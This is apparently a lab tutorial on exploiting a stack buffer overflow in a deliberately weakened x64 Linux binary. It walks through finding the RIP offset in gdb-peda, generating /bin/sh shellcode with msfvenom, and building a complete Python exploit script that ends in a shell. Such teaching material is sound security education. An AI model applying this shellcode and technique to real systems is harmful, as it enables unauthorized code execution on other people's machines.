Stack Buffer Overflow on x64 Linux

Exploiting buffer overflows on x64 systems introduces new challenges compared to x86. This tutorial covers the key differences and walks through a complete exploit.

Key Differences from x86

Register Changes

x86	x64	Purpose
EIP	RIP	Instruction pointer
ESP	RSP	Stack pointer
EBP	RBP	Base pointer

Calling Convention

On x64, the first six arguments are passed in registers:

RDI, RSI, RDX, RCX, R8, R9

Only subsequent arguments go on the stack.

Address Size

Addresses are 8 bytes, but typically only 6 bytes are used (canonical addresses). This affects how we overwrite RIP.

Initial Analysis

Security Check

checksec --file=./vulnerable

RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX disabled   No PIE

No NX means we can execute shellcode on the stack.

Finding the Crash

python -c "print 'A'*100" | ./vulnerable
# Normal execution

python -c "print 'A'*200" | ./vulnerable
# Segmentation fault (core dumped)

Finding the RIP Offset

Pattern Generation

gdb -q ./vulnerable
gdb-peda$ pattern create 200 input.txt
gdb-peda$ run < input.txt

Analyzing the Crash

RBP: 0x4141724141554141 ('AAUAArAA')
RSP: 0x7fffffffe498 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x4005fa (<vulnerable+68>: ret)

Note: RIP wasn’t directly overwritten with pattern bytes. Instead, ret tried to pop an invalid address.

Calculating Offset from RBP

Since RIP is one stack position (8 bytes) above RBP:

gdb-peda$ pattern offset 0x4141724141554141
4702165110546055489 found at offset: 160

RIP offset = 160 + 8 = 168 bytes

Verifying with Test Payload

python -c "print 'A'*160 + 'B'*8 + 'C'*8" > rip.txt

gdb-peda$ run < rip.txt

RBP: 0x4242424242424242 ('BBBBBBBB')
RIP: 0x434343434343 ('CCCCCC')

Note: Only 6 bytes of ‘C’ appear in RIP (canonical address limitation).

Address Considerations

Check the memory map:

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00401000         r-xp      ./vulnerable
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp      libc
0x00007ffffffde000 0x00007ffffffff000 rwxp      [stack]

Stack addresses are 6 bytes (start with 0x00007fff). We only need 6 bytes to overwrite RIP.

Building the Exploit

Skeleton with INT3

import sys
from struct import pack

buf = b"\xcc"*8  # INT3 breakpoints

payload = b"\x90"*40  # NOP sled
payload += buf
payload += b"A"*(128-len(buf))  # Padding (168 - 40 = 128)
payload += pack("<Q", 0x7fffffffe4a0)  # Return to stack

sys.stdout.buffer.write(payload)

Finding the Exact Stack Address

After crashing, examine RSP:

gdb-peda$ x/40gx $rsp-0x100
0x7fffffffe420: 0x9090909090909090      0x9090909090909090
0x7fffffffe430: 0x9090909090909090      0x9090909090909090
0x7fffffffe440: 0x9090909090909090      0xfffae98148c93148

NOPs start at 0x7fffffffe420. Add 8 for safety: 0x7fffffffe428

Generating Shellcode

msfvenom -p linux/x64/exec cmd=/bin/sh -f python -b "\x00\x0a"

buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\xa5\x8d\x9f\xff\x13\xce\xa9"
buf += b"\xd5\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\xed\x35\xb0\x9d\x7a\xa0\x86\xa6\xcd\x8d\x06\xaf\x47"
buf += b"\x91\xfb\xb3\xcd\xa0\xfc\xab\x4d\x9c\x41\xdd\xa5\x8d"
buf += b"\x9f\xd0\x71\xa7\xc7\xfa\xd6\xe5\x9f\xa9\x44\x9a\xf7"
buf += b"\xbf\x9e\xd5\x90\xfa\x13\xce\xa9\xd5"

Complete Exploit

#!/usr/bin/env python3
import sys
from struct import pack

buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\xa5\x8d\x9f\xff\x13\xce\xa9"
buf += b"\xd5\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\xed\x35\xb0\x9d\x7a\xa0\x86\xa6\xcd\x8d\x06\xaf\x47"
buf += b"\x91\xfb\xb3\xcd\xa0\xfc\xab\x4d\x9c\x41\xdd\xa5\x8d"
buf += b"\x9f\xd0\x71\xa7\xc7\xfa\xd6\xe5\x9f\xa9\x44\x9a\xf7"
buf += b"\xbf\x9e\xd5\x90\xfa\x13\xce\xa9\xd5"

payload = b"\x90"*40           # NOP sled
payload += buf                  # Shellcode
payload += b"A"*(128-len(buf))  # Padding
payload += pack("<Q", 0x7fffffffe428)  # Return address

sys.stdout.buffer.write(payload)

Exploiting Outside GDB

Stack addresses differ outside the debugger due to environment variables.

Generate Core Dump

rm core
ulimit -c unlimited
cat exploit.txt | ./vulnerable

Analyze Core

gdb -q ./vulnerable ./core

gdb-peda$ x/40gx $rsp-0x100
0x7fffffffe420: 0x0000000000000000      0x00007ffff7ffe168
0x7fffffffe430: 0x0000000000000001      0x00000000004005f8
0x7fffffffe440: 0x9090909090909090      0x9090909090909090

NOPs are now at 0x7fffffffe440. Update the return address.

Final Exploit

payload += pack("<Q", 0x7fffffffe448)  # Adjusted address

(cat exploit.txt; cat) | ./vulnerable
id
uid=1000(user) gid=1000(user) groups=1000(user)

Using struct.pack for x64

For 64-bit values, use the Q format specifier:

from struct import pack

# 64-bit little-endian
addr = pack("<Q", 0x7fffffffe428)

# Compare to 32-bit
# addr = pack("<L", 0xbffff2c0)  # x86

Debugging Tips

Examining Memory

gdb-peda$ x/40gx $rsp-0x100   # 8-byte (giant) words
gdb-peda$ x/40wx $rsp-0x100   # 4-byte words (x86 style)

Checking Registers

gdb-peda$ info registers

Setting Breakpoints on Instructions

gdb-peda$ break *vulnerable+68   # Break at ret instruction

Common Issues

6-byte vs 8-byte Addresses

Stack addresses only use 6 bytes. When packing with <Q, the upper 2 bytes will be null. This works because:

Null bytes terminate the overwrite cleanly
The return address is at the end of our payload

Stack Alignment

x64 requires 16-byte stack alignment for some operations. If your exploit crashes in library functions, check alignment.

Canonical Addresses

Valid user-space addresses must have bits 48-63 equal to bit 47. Addresses like 0x00007fffffffe428 are valid; 0x0000ffffffffffff is not.